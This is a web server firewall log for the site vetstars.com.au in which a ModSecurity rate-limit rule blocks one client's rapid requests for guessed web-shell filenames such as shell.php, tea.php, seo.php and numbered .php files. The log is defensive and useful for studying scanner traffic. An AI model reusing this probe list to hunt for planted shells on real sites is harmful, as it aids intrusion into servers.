[Thu Apr 16 21:40:15.214470 2026] [:error] [pid 57639:tid 57668] [client 51.13.190.245:47650] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aeDmv6MCQoTw7TsxWum-owAAANY"]
[Thu Apr 16 21:40:15.744424 2026] [:error] [pid 57639:tid 57667] [client 51.13.190.245:47663] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "aeDmv6MCQoTw7TsxWum-pwAAANU"]
[Thu Apr 16 21:40:16.299064 2026] [:error] [pid 49094:tid 49103] [client 51.13.190.245:53552] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "aeDmwDbDwvcXorHR_Mzs2AAAAUc"]
[Thu Apr 16 21:40:16.819147 2026] [:error] [pid 7880:tid 7890] [client 51.13.190.245:33451] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "aeDmwKaezm4fSGc0yUKzVgAAAYU"]
[Thu Apr 16 21:40:17.337265 2026] [:error] [pid 49094:tid 49105] [client 51.13.190.245:52340] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "aeDmwTbDwvcXorHR_Mzs2QAAAUk"]
[Thu Apr 16 21:40:17.855459 2026] [:error] [pid 57538:tid 57618] [client 51.13.190.245:53561] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aeDmwcuMaiEF5SVR2BfpHAAAAJA"]
[Thu Apr 16 21:40:18.379885 2026] [:error] [pid 49094:tid 49112] [client 51.13.190.245:30613] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aeDmwjbDwvcXorHR_Mzs5AAAAVA"]
[Thu Apr 16 21:40:18.905328 2026] [:error] [pid 57639:tid 57663] [client 51.13.190.245:29856] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aeDmwqMCQoTw7TsxWum-rAAAANE"]
[Thu Apr 16 21:40:19.489139 2026] [:error] [pid 57639:tid 57659] [client 51.13.190.245:30594] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aeDmw6MCQoTw7TsxWum-vgAAAM0"]
[Thu Apr 16 21:40:20.025984 2026] [:error] [pid 29603:tid 29625] [client 51.13.190.245:47670] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tea.php"] [unique_id "aeDmxFfGOR6fpTWUAzqdXwAAARQ"]
[Thu Apr 16 21:40:20.550995 2026] [:error] [pid 29603:tid 29609] [client 51.13.190.245:33265] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tea.php"] [unique_id "aeDmxFfGOR6fpTWUAzqdYgAAAQQ"]
[Thu Apr 16 21:40:21.106432 2026] [:error] [pid 57639:tid 57661] [client 51.13.190.245:53534] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tea.php"] [unique_id "aeDmxaMCQoTw7TsxWum-yAAAAM8"]
[Thu Apr 16 21:40:21.667465 2026] [:error] [pid 57538:tid 57611] [client 51.13.190.245:52335] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tea.php"] [unique_id "aeDmxcuMaiEF5SVR2BfpHwAAAIk"]
[Thu Apr 16 21:40:22.187003 2026] [:error] [pid 57536:tid 57560] [client 51.13.190.245:30631] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seo.php"] [unique_id "aeDmxiQU4faGja6jpDuJHgAAAAw"]
[Thu Apr 16 21:40:22.715729 2026] [:error] [pid 57537:tid 57579] [client 51.13.190.245:47626] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seo.php"] [unique_id "aeDmxlVQRS8nm73ENAm8bgAAAEQ"]
[Thu Apr 16 21:40:23.253282 2026] [:error] [pid 57537:tid 57587] [client 51.13.190.245:53548] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seo.php"] [unique_id "aeDmx1VQRS8nm73ENAm8bwAAAEw"]
[Thu Apr 16 21:40:23.776722 2026] [:error] [pid 49094:tid 49104] [client 51.13.190.245:52309] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seo.php"] [unique_id "aeDmxzbDwvcXorHR_Mzs7QAAAUg"]
[Thu Apr 16 21:40:24.294957 2026] [:error] [pid 49094:tid 49112] [client 51.13.190.245:13252] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7.php"] [unique_id "aeDmyDbDwvcXorHR_Mzs8AAAAVA"]
[Thu Apr 16 21:40:24.817742 2026] [:error] [pid 57639:tid 57661] [client 51.13.190.245:24689] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7.php"] [unique_id "aeDmyKMCQoTw7TsxWum-zgAAAM8"]
[Thu Apr 16 21:40:25.350819 2026] [:error] [pid 57639:tid 57664] [client 51.13.190.245:47437] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7.php"] [unique_id "aeDmyaMCQoTw7TsxWum-0wAAANI"]
[Thu Apr 16 21:40:25.873075 2026] [:error] [pid 29603:tid 29627] [client 51.13.190.245:52348] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7.php"] [unique_id "aeDmyVfGOR6fpTWUAzqddQAAARY"]
[Thu Apr 16 21:40:26.395125 2026] [:error] [pid 57536:tid 57560] [client 51.13.190.245:47486] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aeDmyiQU4faGja6jpDuJJQAAAAw"]
[Thu Apr 16 21:40:26.930922 2026] [:error] [pid 57536:tid 57550] [client 51.13.190.245:53506] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aeDmyiQU4faGja6jpDuJJwAAAAI"]
[Thu Apr 16 21:40:27.489675 2026] [:error] [pid 7880:tid 7902] [client 51.13.190.245:53521] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aeDmy6aezm4fSGc0yUKzXgAAAZE"]
[Thu Apr 16 21:40:28.018784 2026] [:error] [pid 57639:tid 57657] [client 51.13.190.245:47618] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aeDmzKMCQoTw7TsxWum-1QAAAMs"]
[Thu Apr 16 21:40:28.540898 2026] [:error] [pid 57537:tid 57596] [client 51.13.190.245:52289] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aeDmzFVQRS8nm73ENAm8cwAAAFU"]
[Thu Apr 16 21:40:29.077753 2026] [:error] [pid 7880:tid 7893] [client 51.13.190.245:52327] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aeDmzaaezm4fSGc0yUKzYAAAAYg"]
[Thu Apr 16 21:40:29.617338 2026] [:error] [pid 49094:tid 49101] [client 51.13.190.245:33420] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aeDmzTbDwvcXorHR_Mzs-wAAAUU"]
[Thu Apr 16 21:40:30.135620 2026] [:error] [pid 57537:tid 57581] [client 51.13.190.245:30623] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aeDmzlVQRS8nm73ENAm8dQAAAEY"]
[Thu Apr 16 21:40:30.663153 2026] [:error] [pid 49094:tid 49116] [client 51.13.190.245:33437] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aeDmzjbDwvcXorHR_Mzs_QAAAVQ"]
[Thu Apr 16 21:40:31.260094 2026] [:error] [pid 57536:tid 57566] [client 51.13.190.245:53525] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aeDmzyQU4faGja6jpDuJLQAAABI"]
[Thu Apr 16 21:40:31.795933 2026] [:error] [pid 7880:tid 7898] [client 51.13.190.245:47625] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aeDmz6aezm4fSGc0yUKzYgAAAY0"]
[Thu Apr 16 21:40:32.332580 2026] [:error] [pid 57639:tid 57652] [client 51.13.190.245:47623] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aeDm0KMCQoTw7TsxWum-3gAAAMY"]
[Thu Apr 16 21:40:32.874494 2026] [:error] [pid 57639:tid 57668] [client 51.13.190.245:53547] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3.php"] [unique_id "aeDm0KMCQoTw7TsxWum-4AAAANY"]
[Thu Apr 16 21:40:33.397263 2026] [:error] [pid 57639:tid 57660] [client 51.13.190.245:30614] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3.php"] [unique_id "aeDm0aMCQoTw7TsxWum-5QAAAM4"]
[Thu Apr 16 21:40:33.919671 2026] [:error] [pid 57639:tid 57651] [client 51.13.190.245:33264] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3.php"] [unique_id "aeDm0aMCQoTw7TsxWum-5wAAAMU"]
[Thu Apr 16 21:40:34.461677 2026] [:error] [pid 57538:tid 57606] [client 51.13.190.245:33278] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3.php"] [unique_id "aeDm0suMaiEF5SVR2BfpKAAAAIQ"]
[Thu Apr 16 21:40:34.990583 2026] [:error] [pid 7880:tid 7890] [client 51.13.190.245:33447] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4.php"] [unique_id "aeDm0qaezm4fSGc0yUKzZAAAAYU"]
[Thu Apr 16 21:40:35.508757 2026] [:error] [pid 57538:tid 57607] [client 51.13.190.245:29879] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4.php"] [unique_id "aeDm08uMaiEF5SVR2BfpKwAAAIU"]
[Thu Apr 16 21:40:36.062433 2026] [:error] [pid 57538:tid 57623] [client 51.13.190.245:47435] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4.php"] [unique_id "aeDm1MuMaiEF5SVR2BfpLQAAAJU"]
[Thu Apr 16 21:40:36.582837 2026] [:error] [pid 57536:tid 57549] [client 51.13.190.245:33276] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4.php"] [unique_id "aeDm1CQU4faGja6jpDuJMQAAAAE"]
[Thu Apr 16 21:40:37.115191 2026] [:error] [pid 49094:tid 49114] [client 51.13.190.245:47436] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5.php"] [unique_id "aeDm1TbDwvcXorHR_MztBQAAAVI"]
[Thu Apr 16 21:40:37.647624 2026] [:error] [pid 57536:tid 57562] [client 51.13.190.245:47627] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5.php"] [unique_id "aeDm1SQU4faGja6jpDuJNAAAAA4"]
[Thu Apr 16 21:40:38.178783 2026] [:error] [pid 57536:tid 57559] [client 51.13.190.245:53566] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5.php"] [unique_id "aeDm1iQU4faGja6jpDuJNgAAAAs"]
[Thu Apr 16 21:40:38.699049 2026] [:error] [pid 57639:tid 57664] [client 51.13.190.245:21273] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5.php"] [unique_id "aeDm1qMCQoTw7TsxWum-9AAAANI"]
[Thu Apr 16 21:40:39.224189 2026] [:error] [pid 57639:tid 57648] [client 51.13.190.245:47667] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6.php"] [unique_id "aeDm16MCQoTw7TsxWum--AAAAMI"]
[Thu Apr 16 21:40:39.764800 2026] [:error] [pid 7880:tid 7891] [client 51.13.190.245:47458] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6.php"] [unique_id "aeDm16aezm4fSGc0yUKzagAAAYY"]
[Thu Apr 16 21:40:40.292305 2026] [:error] [pid 7880:tid 7902] [client 51.13.190.245:52315] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6.php"] [unique_id "aeDm2Kaezm4fSGc0yUKzbAAAAZE"]
[Thu Apr 16 21:40:40.820792 2026] [:error] [pid 57639:tid 57663] [client 51.13.190.245:47442] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6.php"] [unique_id "aeDm2KMCQoTw7TsxWum-_wAAANE"]
[Thu Apr 16 21:40:41.366307 2026] [:error] [pid 57537:tid 57579] [client 51.13.190.245:33227] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/9.php"] [unique_id "aeDm2VVQRS8nm73ENAm8ggAAAEQ"]
[Thu Apr 16 21:40:41.915691 2026] [:error] [pid 7880:tid 7889] [client 51.13.190.245:33248] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/9.php"] [unique_id "aeDm2aaezm4fSGc0yUKzbgAAAYQ"]
[Thu Apr 16 21:41:38.885464 2026] [:error] [pid 7880:tid 7891] [client 51.13.190.245:52288] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ass.php"] [unique_id "aeDnEqaezm4fSGc0yUKznwAAAYY"]
[Thu Apr 16 21:41:39.449106 2026] [:error] [pid 49094:tid 49117] [client 51.13.190.245:52290] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ass.php"] [unique_id "aeDnEzbDwvcXorHR_MzteQAAAVU"]
[Thu Apr 16 21:41:40.056447 2026] [:error] [pid 29603:tid 29610] [client 51.13.190.245:52326] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ass.php"] [unique_id "aeDnFFfGOR6fpTWUAzqeGgAAAQU"]
[Thu Apr 16 21:41:40.592161 2026] [:error] [pid 29603:tid 29608] [client 51.13.190.245:53554] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ass.php"] [unique_id "aeDnFFfGOR6fpTWUAzqeGwAAAQM"]
[Thu Apr 16 21:41:41.129552 2026] [:error] [pid 57538:tid 57622] [client 51.13.190.245:33224] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aeDnFcuMaiEF5SVR2BfpWQAAAJQ"]
[Thu Apr 16 21:41:41.796499 2026] [:error] [pid 7880:tid 7897] [client 51.13.190.245:53557] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aeDnFaaezm4fSGc0yUKzpQAAAYw"]
